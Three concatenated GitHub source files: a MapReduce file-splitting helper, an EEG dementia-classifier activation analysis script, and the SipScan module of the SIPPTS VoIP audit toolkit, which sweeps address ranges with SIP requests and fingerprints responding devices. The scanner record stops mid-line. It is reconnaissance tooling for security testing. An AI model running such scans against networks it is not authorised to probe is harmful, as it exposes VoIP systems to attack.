+{"seq_id":"5936231605","text":"from enum import Enum\nimport random\nimport string\n\nMAPPER_INPUT_KEY = \"mapper_task_input_\"\nMAPPER_OUTPUT_KEY = \"mapper_task_output_\"\nMAPPER_STATUS_KEY = \"mapper_status_\"\nREDUCER_OUTPUT_KEY = \"reducer_task_output_\"\nREDUCER_STATUS_KEY = \"reducer_status_\"\n\nclass States(Enum):\n    IDLE = '0'\n    INPROGRESS = '1'\n    COMPLETED = '2'\n    FAILED = '3'\n\n\ndef getUID():\n    return ''.join(random.choices(string.digits + string.ascii_letters, k=6))\n\n\ndef processInput(fileLocations, splitSize):\n    try:\n        if type(fileLocations) == str:\n            fileLocations = [fileLocations]\n\n        # Storing the offsets\n        offSets = []\n        \n        for location in fileLocations:\n            start = 0\n            \n            # opening the file\n            fp = open(location, \"rb\")\n            \n            # Getting the end position\n            endPosition = fp.seek(0, 2)\n\n            # Setting the pointer to the start\n            fp.seek(0, 0)\n\n            while(fp.tell() < endPosition):\n\n                chunk = fp.read(splitSize)\n\n                if chunk == b\"\":\n                    break\n\n                # chunk = chunk.decode()\n\n                k = 0\n                delimeters = [b' ', b'\\n', b'\\r', b'.']\n                while(chunk != b\"\" and chunk not in delimeters and  fp.tell() < endPosition):\n                    # fp.seek(start, 0)\n                    # k += 1\n                    chunk = fp.read(1)\n                    # chunk = chunk.decode()\n\n                end = fp.tell()\n\n                offSets.append([location, start, end])\n                start = end\n\n            # Close the file\n            fp.close()\n\n        return offSets\n    except Exception as e:\n        print(\"Exception raised processInput\")\n        print(e)\n        return []\n    \ndef readFromOffsets(location, start, end):\n\n    fp = open(location, \"rb\")\n\n    fp.seek(start, 0)\n\n    chunk = fp.read(end - start)\n\n    fp.close()\n    return chunk","repo_name":"adityarudrawar/Distributed-Systems","sub_path":"map_reduce/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26623483088","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Time-stamp: \"2023-09-13 14:52:12 (ywatanabe)\"\n\n\nimport sys\n\nsys.path.append(\"eeg_dementia_classification\")\nfrom eeg_dementia_classification import utils\n\nfrom models.MNet.PretrainedEnsembleMNet_1000 import PretrainedEnsembleMNet_1000\n\nfrom utils import load_data_all\nimport skimage\nimport torch\nimport matplotlib\n\nmatplotlib.use(\"TkAgg\")\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\nimport pandas as pd\nimport mngs\nimport seaborn as sns\nfrom scipy.special import softmax\nfrom scipy.stats import ks_2samp\n\n\ndef _crop_a_signal(\n    sig_arr_trial,\n    rand_init_value=0,\n    ws_pts=100,\n    start_cut_pts=0,\n    end_cut_pts=0,\n):\n    \"\"\"\n    sig_arr_trial: (n_chs, 1600)\n    viewed       : (15, 100, n_chs)\n\n    Example:\n        n_chs = 6\n        seq_len = 1600\n        sig_arr_trial = np.random.rand(n_chs, seq_len)\n        _crop_a_signal(sig_arr_trial)\n    \"\"\"\n\n    # to 2D\n    if sig_arr_trial.ndim == 1:\n        sig_arr_trial = sig_arr_trial[np.newaxis, ...]\n\n    n_chs = len(sig_arr_trial)\n\n    # slides the signal\n    rand_init_value = rand_init_value % ws_pts\n    sig_arr_trial = sig_arr_trial[\n        :, start_cut_pts : sig_arr_trial.shape[-1] - end_cut_pts\n    ]\n    sig_arr_trial = sig_arr_trial[:, rand_init_value:]\n\n    # crops the signal\n    viewed = skimage.util.view_as_windows(\n        sig_arr_trial.T,\n        window_shape=(ws_pts, n_chs),\n        step=ws_pts,\n    )  # .squeeze()\n\n    # to 3D\n    if viewed.ndim == 4:\n        viewed = viewed.squeeze(axis=1)\n    # to 3D\n    if viewed.ndim == 2:\n        viewed = viewed[..., np.newaxis]\n    # to 3D\n    if viewed.ndim == 1:\n        viewed = viewed[np.newaxis, ..., np.newaxis]\n\n    return viewed\n\n\ndef get_uq_mean(T, S, y, acts_fc1, acts_fc2, acts_fc3):\n    T_uq, S_uq, y_mean, acts_fc1_mean, acts_fc2_mean, acts_fc3_mean = (\n        [],\n        [],\n        [],\n        [],\n        [],\n        [],\n    )\n    for sub in np.unique(S):\n        T_sub = T[S == sub]\n        y_sub = y[S == sub]\n        acts_fc1_sub = acts_fc1[S == sub]\n        acts_fc2_sub = acts_fc2[S == sub]\n        acts_fc3_sub = acts_fc3[S == sub]\n        T_uq.append(T_sub[0])\n        S_uq.append(sub)\n        y_mean.append(y_sub.mean(axis=0))\n        acts_fc1_mean.append(acts_fc1_sub.mean(axis=0))\n        acts_fc2_mean.append(acts_fc2_sub.mean(axis=0))\n        acts_fc3_mean.append(acts_fc3_sub.mean(axis=0))\n    T_uq = np.hstack(T_uq)\n    S_uq = np.hstack(S_uq)\n    y_mean = np.vstack(y_mean)\n    acts_fc1_mean = np.vstack(acts_fc1_mean)\n    acts_fc2_mean = np.vstack(acts_fc2_mean)\n    acts_fc3_mean = np.vstack(acts_fc3_mean)\n    return T_uq, S_uq, y_mean, acts_fc1_mean, acts_fc2_mean, acts_fc3_mean\n\n\ndef calc_corr_map(activations):\n    # activations = softmax(ordered_acts_fc1_mean, axis=-1)\n    corr_arr = np.nan * np.zeros([len(activations), len(activations)])\n    for i in range(len(activations)):\n        for j in range(len(activations)):\n            corr_arr[i, j] = np.corrcoef(activations[i], activations[j])[0, 1]\n    return corr_arr\n\n\ndef forward(data_all, model):\n    X, T, S = [], [], []\n    for ii in range(len(data_all)):\n        cropped = _crop_a_signal(data_all.iloc[ii][\"eeg\"], ws_pts=1000)\n        X.append(cropped)\n        T.append([data_all.iloc[ii][\"disease_type\"] for _ in range(len(cropped))])\n        S.append([data_all.iloc[ii][\"subject\"] for _ in range(len(cropped))])\n    X = np.vstack(X)\n    T = np.hstack(T)\n    S = np.hstack(S)\n\n    preds = []\n    bs = 64\n    n_batches = len(X) // bs\n    Ab = torch.rand(\n        bs,\n    )\n    Sb = torch.rand(\n        bs,\n    )\n    Mb = torch.rand(\n        bs,\n    )\n    for i_batch in range(n_batches + 1):\n        start = i_batch * bs\n        end = (i_batch + 1) * bs\n        Xb = X[start:end]\n        yb = model(\n            torch.tensor(Xb).float(), Ab[: len(Xb)], Sb[: len(Xb)], Mb[: len(Xb)]\n        )[0]\n        preds.append(yb.detach().numpy())\n\n    preds = np.vstack(preds)\n    return T, S, preds\n\n\ndef brunner_munzel_test_for_correlation_map(corr_map):\n    from itertools import combinations\n\n    within_class_corrs = []\n    between_class_corrs = []\n    for ii, jj in combinations(range(len(corr_map)), 2):\n        if ii >= jj:\n            continue\n        cls1 = labels[ii]\n        cls2 = labels[jj]\n        if cls1 == cls2:\n            within_class_corrs.append(np.corrcoef(corr_map[ii], corr_map[jj])[0, 1])\n        else:\n            between_class_corrs.append(np.corrcoef(corr_map[ii], corr_map[jj])[0, 1])\n\n    # print(np.mean(within_class_corrs))\n    # print(np.mean(between_class_corrs))\n    w, p, dof, eff = mngs.stats.brunner_munzel_test(\n        within_class_corrs, between_class_corrs\n    )\n    return w, p, dof, eff\n\n\ndef get_triu(corr_map):\n    _corr_map = corr_map.copy()\n    n = _corr_map.shape[0]\n    lower_triangle_indices = np.tril_indices(n, -1)\n    _corr_map[lower_triangle_indices] = np.nan\n    return _corr_map\n\n\nif __name__ == \"__main__\":\n\n    # # Parameters\n    DISEASE_TYPES = [\"HV\", \"AD\", \"DLB\", \"NPH\"]\n    BIDS_DICT = {\n        \"Osaka\": \"BIDS_dataset_Osk_v5.3\",\n        \"Kochi\": \"BIDS_dataset_v1.1_Kochi\",\n        \"Nissei\": \"BIDS_dataset_Nissei_v1.1\",\n    }\n\n    # Loads\n    _, data_all_Kochi, _ = load_data_all(\n        BIDS_DICT[\"Kochi\"],\n        disease_types=[\"HV\", \"AD\", \"DLB\", \"NPH\"],\n        from_pkl=False,\n        apply_notch_filter=True,\n    )\n    _, data_all_Nissei, _ = load_data_all(\n        BIDS_DICT[\"Nissei\"],\n        disease_types=[\"HV\", \"AD\", \"DLB\", \"NPH\"],\n        from_pkl=False,\n        apply_notch_filter=True,\n    )\n\n    data_all = pd.concat([data_all_Kochi, data_all_Nissei])\n\n    # Model\n    model = PretrainedEnsembleMNet_1000(DISEASE_TYPES, save_activations=True)\n\n    # Gets predictions\n    T, S, y = forward(data_all, model)\n    acts_fc1 = np.array(\n        [np.vstack(model.models[ii].activation_fc1) for ii in range(5)]\n    ).mean(axis=0)\n    acts_fc2 = np.array(\n        [np.vstack(model.models[ii].activation_fc2) for ii in range(5)]\n    ).mean(axis=0)\n    acts_fc3 = np.array(\n        [np.vstack(model.models[ii].activation_fc3) for ii in range(5)]\n    ).mean(axis=0)\n    T_uq, S_uq, y_mean, acts_fc1_mean, acts_fc2_mean, acts_fc3_mean = get_uq_mean(\n        T, S, y, acts_fc1, acts_fc2, acts_fc3\n    )\n\n    sorted_indi_HV = np.argsort(-y_mean[T_uq == \"HV\"][:, 0])\n    sorted_indi_AD = np.argsort(-y_mean[T_uq == \"AD\"][:, 1])\n    sorted_indi_DLB = np.argsort(-y_mean[T_uq == \"DLB\"][:, 2])\n    sorted_indi_NPH = np.argsort(-y_mean[T_uq == \"NPH\"][:, 3])\n\n    ordered_acts_fc1_mean = np.vstack(\n        [\n            acts_fc1_mean[T_uq == \"HV\"][sorted_indi_HV],\n            acts_fc1_mean[T_uq == \"AD\"][sorted_indi_AD],\n            acts_fc1_mean[T_uq == \"DLB\"][sorted_indi_DLB],\n            acts_fc1_mean[T_uq == \"NPH\"][sorted_indi_NPH],\n        ]\n    )\n\n    ordered_acts_fc2_mean = np.vstack(\n        [\n            acts_fc2_mean[T_uq == \"HV\"][sorted_indi_HV],\n            acts_fc2_mean[T_uq == \"AD\"][sorted_indi_AD],\n            acts_fc2_mean[T_uq == \"DLB\"][sorted_indi_DLB],\n            acts_fc2_mean[T_uq == \"NPH\"][sorted_indi_NPH],\n        ]\n    )\n\n    ordered_acts_fc3_mean = np.vstack(\n        [\n            acts_fc3_mean[T_uq == \"HV\"][sorted_indi_HV],\n            acts_fc3_mean[T_uq == \"AD\"][sorted_indi_AD],\n            acts_fc3_mean[T_uq == \"DLB\"][sorted_indi_DLB],\n            acts_fc3_mean[T_uq == \"NPH\"][sorted_indi_NPH],\n        ]\n    )\n\n    n_HV = (T_uq == \"HV\").sum()\n    n_AD = (T_uq == \"AD\").sum()\n    n_DLB = (T_uq == \"DLB\").sum()\n    n_NPH = (T_uq == \"NPH\").sum()\n    n_all = n_HV + n_AD + n_DLB + n_NPH\n    print(n_all, n_HV, n_AD, n_DLB, n_NPH)\n\n    labels = np.zeros(len(T_uq), dtype=int)\n    labels[:n_HV] = 0\n    labels[n_HV : n_HV + n_AD] = 1\n    labels[n_HV + n_AD : n_HV + n_AD + n_DLB] = 2\n    labels[n_HV + n_AD + n_DLB : n_HV + n_AD + n_DLB + n_NPH] = 3\n\n    # Activation maps\n    fig, axes = plt.subplots(ncols=4, sharey=True, figsize=(6.4 * 3, 4.8 * 3))\n    axes[0].set_ylabel(\"Subject #\")\n    axes[0].set_xlabel(\"Disease type\")\n    sns.heatmap(labels[..., np.newaxis], ax=axes[0])\n    sns.heatmap(softmax(ordered_acts_fc1_mean, axis=-1), ax=axes[1])\n    axes[1].set_title(\"fc1\")\n    axes[1].set_xlabel(\"Node #\")\n    sns.heatmap(softmax(ordered_acts_fc2_mean, axis=-1), ax=axes[2])\n    axes[2].set_title(\"fc2\")\n    axes[2].set_xlabel(\"Node #\")\n    sns.heatmap(softmax(ordered_acts_fc3_mean, axis=-1), ax=axes[3])\n    axes[3].set_title(\"fc3\")\n    axes[3].set_xlabel(\"Node #\")\n    mngs.io.save(fig, \"./results/figs/heatmap/activations.png\")\n\n    corr_map_fc1 = calc_corr_map(softmax(ordered_acts_fc1_mean, axis=-1))\n    corr_map_fc2 = calc_corr_map(softmax(ordered_acts_fc2_mean, axis=-1))\n    corr_map_fc3 = calc_corr_map(softmax(ordered_acts_fc3_mean, axis=-1))\n    mngs.io.save(corr_map_fc1, \"./results/figs/hist/corr_map/fc1.npy\")\n    mngs.io.save(corr_map_fc2, \"./results/figs/hist/corr_map/fc2.npy\")\n    mngs.io.save(corr_map_fc3, \"./results/figs/hist/corr_map/fc3.npy\")\n\n    \"\"\"\n    corr_map_fc1 = mngs.io.load(\"./results/figs/hist/corr_map/fc1.npy\")\n    corr_map_fc2 = mngs.io.load(\"./results/figs/hist/corr_map/fc2.npy\")\n    corr_map_fc3 = mngs.io.load(\"./results/figs/hist/corr_map/fc3.npy\")    \n    \"\"\"\n\n    print(brunner_munzel_test_for_correlation_map(corr_map_fc1))\n    print(brunner_munzel_test_for_correlation_map(corr_map_fc2))\n    print(brunner_munzel_test_for_correlation_map(corr_map_fc3))\n    \"\"\"\n    (-7.055405242445422, 1.7841284005726266e-12, 17841.353914308387, 0.47274769580246373)\n    (0.8758849317488225, 0.3811043217924823, 17935.69268036828, 0.5033867785958483)\n    (1.3379178199021384, 0.18094001733303133, 18120.31940680489, 0.5051657230347484)\n    \"\"\"\n\n    # Correlation maps\n    fig, axes = plt.subplots(ncols=3, figsize=(6.4 * 2, 4.8 * 2), sharey=True)\n    # cbar_ax = fig.add_axes([.91, .3, .03, .4])  # where to put the colorbar\n    vmin, vmax = -1, 1\n    corr_map_fc1[100, 0] = -1  # add -1 align the color bar\n    corr_map_fc2[100, 0] = -1\n    corr_map_fc3[100, 0] = -1\n    sns.heatmap(\n        corr_map_fc1, ax=axes[0], vmin=vmin, vmax=vmax\n    )  # , cbar=True, cbar_ax=cbar_ax)\n    axes[0].set_aspect(1.0)\n    sns.heatmap(corr_map_fc2, ax=axes[1], vmin=vmin, vmax=vmax)  # , cbar=False)\n    axes[1].set_aspect(1.0)\n    sns.heatmap(corr_map_fc3, ax=axes[2], vmin=vmin, vmax=vmax)  # , cbar=False)\n    axes[2].set_aspect(1.0)\n    mngs.io.save(fig, \"./results/figs/heatmap/corr_map_of_activations.tiff\")\n\n    # Histogram of correlations\n    nn_fc1, bins_fc1, _ = plt.hist(\n        np.hstack(get_triu(corr_map_fc1)), bins=30, range=[-1, 1], alpha=0.3\n    )\n    bins_fc1 = [\n        (bins_fc1[ii] + bins_fc1[ii + 1]) / 2 for ii in range(len(bins_fc1) - 1)\n    ]\n    nn_fc2, bins_fc2, _ = plt.hist(\n        np.hstack(get_triu(corr_map_fc2)), bins=30, range=[-1, 1], alpha=0.3\n    )\n    bins_fc2 = [\n        (bins_fc2[ii] + bins_fc2[ii + 1]) / 2 for ii in range(len(bins_fc2) - 1)\n    ]\n    nn_fc3, bins_fc3, _ = plt.hist(\n        np.hstack(get_triu(corr_map_fc3)), bins=30, range=[-1, 1], alpha=0.3\n    )\n    bins_fc3 = [\n        (bins_fc3[ii] + bins_fc3[ii + 1]) / 2 for ii in range(len(bins_fc3) - 1)\n    ]\n\n    df = pd.DataFrame(\n        {\n            \"bins_fc1\": bins_fc1,\n            \"count_fc1\": nn_fc1,\n            \"bins_fc2\": bins_fc2,\n            \"count_fc2\": nn_fc2,\n            \"bins_fc3\": bins_fc3,\n            \"count_fc3\": nn_fc3,\n        }\n    )\n    mngs.io.save(df, \"./results/figs/hist/correlations_of_act_map/data.csv\")\n\n    ks_2samp(\n        corr_map_fc1.reshape(-1),\n        corr_map_fc2.reshape(-1),\n    )\n    # Out[15]: KstestResult(statistic=0.3988861816916116, pvalue=0.0)\n\n    ks_2samp(\n        corr_map_fc2.reshape(-1),\n        corr_map_fc3.reshape(-1),\n    )\n    # Out[16]: KstestResult(statistic=0.21483999099117546, pvalue=0.0)\n\n    ks_2samp(\n        corr_map_fc1.reshape(-1),\n        corr_map_fc3.reshape(-1),\n    )\n    # Out[17]: KstestResult(statistic=0.4222886509285232, pvalue=0.0)\n","repo_name":"yanagisawa-lab/eeg-dementia-classification","sub_path":"3_post_train_and_eval/visualize_MNet_activations.py","file_name":"visualize_MNet_activations.py","file_ext":"py","file_size_in_byte":11931,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"2798731346","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'Jose Luis Verdeguer'\n__version__ = '3.1.1'\n__license__ = \"GPL\"\n__copyright__ = \"Copyright (C) 2015-2022, SIPPTS\"\n__email__ = \"pepeluxx@gmail.com\"\n\nimport socket\nimport sys\nimport ipaddress\nimport ssl\nimport re\nfrom IPy import IP\nfrom lib.functions import create_message, parse_message, get_machine_default_ip, ip2long, long2ip, get_free_port, ping, fingerprinting\nfrom lib.color import Color\nfrom itertools import product\nfrom concurrent.futures import ThreadPoolExecutor\n\n\nclass SipScan:\n    def __init__(self):\n        self.ip = ''\n        self.host = ''\n        self.rport = '5060'\n        self.proto = 'UDP'\n        self.method = 'OPTIONS'\n        self.domain = ''\n        self.contact_domain = ''\n        self.from_user = '100'\n        self.from_name = ''\n        self.from_domain = ''\n        self.to_user = '100'\n        self.to_name = ''\n        self.to_domain = ''\n        self.user_agent = 'pplsip'\n        self.threads = '100'\n        self.verbose = '0'\n        self.ping = 'False'\n        self.file = ''\n        self.nocolor = ''\n        self.ofile = ''\n        self.fp = '0'\n\n        self.found = []\n        self.line = ['-', '\\\\', '|', '/']\n        self.pos = 0\n        self.quit = False\n\n        self.c = Color()\n\n    # def __del__(self):\n    #     print('SIPScan destruido')\n\n    def start(self):\n        supported_protos = ['UDP', 'TCP', 'TLS']\n        supported_methods = ['OPTIONS', 'REGISTER', 'INVITE']\n\n        if self.nocolor == 1:\n            self.c.ansy()\n\n        self.method = self.method.upper()\n        self.proto = self.proto.upper()\n        if self.proto == 'UDP|TCP|TLS':\n            self.proto = 'ALL'\n        if self.ping == 1:\n            self.ping = 'True'\n        else:\n            self.ping = 'False'\n\n        # check method\n        if self.method not in supported_methods:\n            print(self.c.BRED + 'Method %s is not supported' % self.method)\n            sys.exit()\n\n        # check protocol\n        if self.proto != 'ALL' and self.proto not in supported_protos:\n            print(self.c.BRED + 'Protocol %s is not supported' % self.proto)\n            sys.exit()\n\n        # my IP address\n        local_ip = get_machine_default_ip()\n\n        # if rport is by default but we want to scan TLS protocol, also try with port 5061\n        if self.rport == '5060' and (self.proto == 'TLS' or self.proto == 'ALL'):\n            self.rport = '5060-5061'\n\n        if self.rport.upper() == 'ALL':\n            self.rport = '1-65536'\n\n        # create a list of protocols\n        protos = []\n        if self.proto == 'UDP' or self.proto == 'ALL':\n            protos.append('UDP')\n        if self.proto == 'TCP' or self.proto == 'ALL':\n            protos.append('TCP')\n        if self.proto == 'TLS' or self.proto == 'ALL':\n            protos.append('TLS')\n\n        # create a list of ports\n        ports = []\n        for p in self.rport.split(','):\n            m = re.search('([0-9]+)-([0-9]+)', p)\n            if m:\n                for x in range(int(m.group(1)), int(m.group(2))+1):\n                    ports.append(x)\n            else:\n                ports.append(p)\n\n        # create a list of IP addresses\n        if self.file != '':\n            try:\n                with open(self.file) as f:\n                    line = f.readline()\n                    line = line.replace('\\n', '')\n\n                    while(line):\n                        if self.quit == False:\n                            try:\n                                ip = socket.gethostbyname(line)\n                                self.ip = IP(ip)\n                            except:\n                                self.ip = IP(line)\n\n                            ips = []\n                            hosts = list(ipaddress.ip_network(\n                                str(self.ip)).hosts())\n\n                            if hosts == []:\n                                hosts.append(self.ip)\n\n                            last = len(hosts)-1\n                            start_ip = hosts[0]\n                            end_ip = hosts[last]\n\n                            ipini = int(ip2long(str(start_ip)))\n                            ipend = int(ip2long(str(end_ip)))\n\n                            for i in range(ipini, ipend+1):\n                                if i != local_ip:\n                                    if self.ping == 'False':\n                                        ips.append(long2ip(i))\n                                    else:\n                                        print(self.c.YELLOW + '[+] Ping %s ...' %\n                                              str(long2ip(i)) + self.c.WHITE, end='\\r')\n\n                                        if ping(long2ip(i), '0.1') == True:\n                                            print(self.c.GREEN + '\\n   [-] ... Pong %s' %\n                                                  str(long2ip(i)) + self.c.WHITE)\n                                            ips.append(long2ip(i))\n\n                            self.prepare_scan(ips, ports, protos)\n\n                        line = f.readline()\n\n                f.close()\n            except:\n                print('Error reading file %s' % self.file)\n                exit()\n        else:\n            ips = []\n            hosts = list(ipaddress.ip_network(str(self.ip)).hosts())\n\n            if hosts == []:\n                hosts.append(self.ip)\n\n            last = len(hosts)-1\n            start_ip = hosts[0]\n            end_ip = hosts[last]\n\n            ipini = int(ip2long(str(start_ip)))\n            ipend = int(ip2long(str(end_ip)))\n\n            for i in range(ipini, ipend+1):\n                if i != local_ip:\n                    if self.ping == 'False':\n                        ips.append(long2ip(i))\n                    else:\n                        print(self.c.YELLOW + '[+] Ping %s ...' %\n                              str(long2ip(i)) + self.c.WHITE, end='\\r')\n\n                        if ping(long2ip(i), '0.1') == True:\n                            print(self.c.GREEN + '\\n   [-] ... Pong %s' %\n                                  str(long2ip(i)) + self.c.WHITE)\n                            ips.append(long2ip(i))\n\n            self.prepare_scan(ips, ports, protos)\n\n    def prepare_scan(self, ips, ports, protos):\n        # threads to use\n        nthreads = int(self.threads)\n        total = len(list(product(ips, ports, protos)))\n        if nthreads > total:\n            nthreads = total\n        if nthreads < 1:\n            nthreads = 1\n\n        print(self.c.BWHITE + '[!] IP/Network: ' +\n              self.c.GREEN + '%s' % str(self.ip))\n\n        print(self.c.BWHITE + '[!] Port range: ' +\n              self.c.GREEN + '%s' % self.rport)\n        if self.proto == 'ALL':\n            print(self.c.BWHITE + '[!] Protocols: ' +\n                  self.c.GREEN + 'UDP, TCP, TLS')\n        else:\n            print(self.c.BWHITE + '[!] Protocol: ' + self.c.GREEN + '%s' %\n                  self.proto.upper())\n\n        print(self.c.BWHITE + '[!] Method to scan: ' +\n              self.c.GREEN + '%s' % self.method)\n\n        if self.domain != '' and self.domain != str(self.ip) and self.domain != self.host:\n            print(self.c.BWHITE + '[!] Customized Domain: ' +\n                  self.c.GREEN + '%s' % self.domain)\n        if self.contact_domain != '':\n            print(self.c.BWHITE + '[!] Customized Contact Domain: ' + self.c.GREEN + '%s' %\n                  self.contact_domain)\n        if self.from_name != '':\n            print(self.c.BWHITE + '[!] Customized From Name: ' +\n                  self.c.GREEN + '%s' % self.from_name)\n        if self.from_user != '100':\n            print(self.c.BWHITE + '[!] Customized From User: ' +\n                  self.c.GREEN + '%s' % self.from_user)\n        if self.from_domain != '':\n            print(self.c.BWHITE + '[!] Customized From Domain: ' +\n                  self.c.GREEN + '%s' % self.from_domain)\n        if self.to_name != '':\n            print(self.c.BWHITE + '[!] Customized To Name: ' +\n                  self.c.GREEN + '%s' % self.to_name)\n        if self.to_user != '100':\n            print(self.c.BWHITE + '[!] Customized To User:' +\n                  self.c.GREEN + ' %s' % self.to_user)\n        if self.to_domain != '':\n            print(self.c.BWHITE + '[!] Customized To Domain: ' +\n                  self.c.GREEN + '%s' % self.to_domain)\n        if self.user_agent != 'pplsip':\n            print(self.c.BWHITE + '[!] Customized User-Agent: ' +\n                  self.c.GREEN + '%s' % self.user_agent)\n\n        print(self.c.BWHITE + '[!] Used threads: ' +\n              self.c.GREEN + '%d' % nthreads)\n        if nthreads > 200:\n            print(self.c.BRED +\n                  '[x] More than 200 threads can cause socket problems')\n        print(self.c.WHITE)\n\n        if self.ofile != '':\n            f = open(self.ofile, 'a+')\n\n            f.write('[!] IP/Network: %s' % str(self.ip))\n            f.write('\\n')\n            f.write('[!] Port range: %s' % self.rport)\n            f.write('\\n')\n            if self.proto == 'ALL':\n                f.write('[!] Protocols: UDP, TCP, TLS')\n            else:\n                f.write('[!] Protocol: %s' % self.proto.upper())\n            f.write('\\n')\n            f.write('[!] Method to scan: %s' % self.method)\n            f.write('\\n\\n')\n\n            f.close()\n\n        values = product(ips, ports, protos)\n\n        try:\n            with ThreadPoolExecutor(max_workers=nthreads) as executor:\n                if self.quit == False:\n                    for i, val in enumerate(values):\n                        val_ipaddr = val[0]\n                        val_port = int(val[1])\n                        val_proto = val[2]\n\n                        if self.host != '' and self.domain == '':\n                            self.domain = self.host\n                        if self.domain == '':\n                            self.domain = val_ipaddr\n                        if not self.from_domain or self.from_domain == '':\n                            self.from_domain = self.domain\n                        if not self.to_domain or self.to_domain == '':\n                            self.to_domain = self.domain\n\n                        executor.submit(self.scan_host, val_ipaddr,\n                                        val_port, val_proto)\n        except KeyboardInterrupt:\n            print(self.c.RED + '\\nYou pressed Ctrl+C!' + self.c.WHITE)\n            self.quit = True\n\n        self.found.sort()\n        self.print()\n\n    def scan_host(self, ipaddr, port, proto):\n        if self.quit == False:\n            print(self.c.BYELLOW + '[%s] Scanning %s:%d/%s'.ljust(100) %\n                  (self.line[self.pos], ipaddr, port, proto), end='\\r')\n\n            self.pos += 1\n            if self.pos > 3:\n                self.pos = 0\n\n            try:\n                if proto == 'UDP':\n                    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n                else:\n                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            except socket.error:\n                print(self.c.RED + 'Failed to create socket')\n                sys.exit(1)\n\n            bind = '0.0.0.0'\n            lport = get_free_port()\n\n            try:\n                sock.bind((bind, lport))\n            except:\n                lport = get_free_port()\n                sock.bind((bind, lport))\n\n            host = (str(ipaddr), port)\n\n            domain = self.domain\n            if domain == '':\n                domain = ipaddr\n\n            contact_domain = self.contact_domain\n            if contact_domain == '':\n                contact_domain = '10.0.0.1'\n\n            msg = create_message(self.method, contact_domain, self.from_user, self.from_name, self.from_domain,\n                                 self.to_user, self.to_name, self.to_domain, proto, domain, self.user_agent, lport, '', '', '', '1', '', '', 1, '', 0, '', '')\n\n            try:\n                sock.settimeout(2)\n\n                if proto == 'TCP':\n                    sock.connect(host)\n\n                if proto == 'TLS':\n                    sock_ssl = ssl.wrap_socket(\n                        sock, ssl_version=ssl.PROTOCOL_TLS, ciphers=None, cert_reqs=ssl.CERT_NONE)\n                    sock_ssl.connect(host)\n                    sock_ssl.sendall(bytes(msg[:8192], 'utf-8'))\n                else:\n                    sock.sendto(bytes(msg[:8192], 'utf-8'), host)\n\n                if self.verbose == 2:\n                    print(self.c.BWHITE + '[+] Sending to %s:%d/%s ...' %\n                          (ipaddr, port, proto))\n                    print(self.c.YELLOW + msg)\n\n                if proto == 'TLS':\n                    resp = sock_ssl.recv(4096)\n                    (ip, rport) = host\n                else:\n                    (resp, addr) = sock.recvfrom(4096)\n                    (ip, rport) = addr\n\n                if self.verbose == 2:\n                    print(self.c.BWHITE + '[+] Receiving from %s:%d ...' %\n                          (ip, rport))\n                    print(self.c.GREEN + resp.decode())\n\n                headers = parse_message(resp.decode())\n\n                if headers:\n                    sip_type = headers['type']\n                    if self.method == 'REGISTER':\n                        if headers['response_code'] == '405':\n                            sip_type = 'Device'\n                        if headers['response_code'] == '401':\n                            sip_type = 'Server'\n\n                    response = '%s %s' % (\n                        headers['response_code'], headers['response_text'])\n                    if self.fp == 1:\n                        fps = fingerprinting(self.method, resp.decode(), headers)\n\n                        fp = ''\n                        for f in fps:\n                            if f == '':\n                                fp = '%s' % f\n                            else:\n                                fp += '/%s' % f\n                    else:\n                        fp = ''\n\n                    if fp[0:1] == '/':\n                        fp = fp[1:]\n\n                    line = '%s###%d###%s###%s###%s###%s###%s' % (\n                        ip, rport, proto, response, headers['ua'], sip_type, fp)\n                    self.found.append(line)\n\n                    if self.verbose == 1:\n                        if headers['ua'] != '':\n                            print(self.c.WHITE + 'Response <%s %s> from %s:%d/%s with User-Agent %s' %\n                                  (headers['response_code'], headers['response_text'], ip, rport, proto, headers['ua']))\n                        else:\n                            print(self.c.WHITE + 'Response <%s %s> from %s:%d/%s without User-Agent' %\n                                  (headers['response_code'], headers['response_text'], ip, rport, proto))\n\n                return headers\n            except socket.timeout:\n                pass\n            except:\n                pass\n            finally:\n                sock.close()\n\n    def print(self):\n        iplen = len('IP address')\n        polen = len('Port')\n        prlen = len('Proto')\n        relen = len('Response')\n        ualen = len('User-Agent')\n        tplen = len('Type')\n        fplen = len('Fingerprinting')\n\n        for x in self.found:\n            (ip, port, proto, res, ua, type, fp) = x.split('###')\n            if len(ip) > iplen:\n                iplen = len(ip)\n            if len(port) > polen:\n                polen = len(port)\n            if len(proto) > prlen:\n                prlen = len(proto)\n            if len(res) > relen:\n                relen = len(res)\n            if len(ua) > ualen:\n                ualen = len(ua)\n            if len(type) > tplen:\n                tplen = len(type)\n            if self.fp == 1 and len(fp) > fplen:\n                fplen = len(fp)\n\n        if self.fp == 1:\n            tlen = iplen+polen+prlen+relen+ualen+tplen+fplen+20\n        else:\n            tlen = iplen+polen+prlen+relen+ualen+tplen+17\n\n        print(self.c.WHITE + ' ' + '-' * tlen)\n        if self.fp == 1:\n            print(self.c.WHITE +\n                  '| ' + self.c.BWHITE + 'IP address'.ljust(iplen) + self.c.WHITE +\n                  ' | ' + self.c.BWHITE + 'Port'.ljust(polen) + self.c.WHITE +\n                  ' | ' + self.c.BWHITE + 'Proto'.ljust(prlen) + self.c.WHITE +\n                  ' | ' + self.c.BWHITE + 'Response'.ljust(relen) + self.c.WHITE +\n                  ' | ' + self.c.BWHITE + 'User-Agent'.ljust(ualen) + self.c.WHITE +\n                  ' | ' + self.c.BWHITE + 'Type'.ljust(tplen) + self.c.WHITE +\n                  ' | ' + self.c.BWHITE + 'Fingerprinting'.ljust(fplen) + self.c.WHITE + ' |')\n        else:\n            print(self.c.WHITE +\n                  '| ' + self.c.BWHITE + 'IP address'.ljust(iplen) + self.c.WHITE +\n                  ' | ' + self.c.BWHITE + 'Port'.ljust(polen) + self.c.WHITE +\n                  ' | ' + self.c.BWHITE + 'Proto'.ljust(prlen) + self.c.WHITE +\n                  ' | ' + self.c.BWHITE + 'Response'.ljust(relen) + self.c.WHITE +\n                  ' | ' + 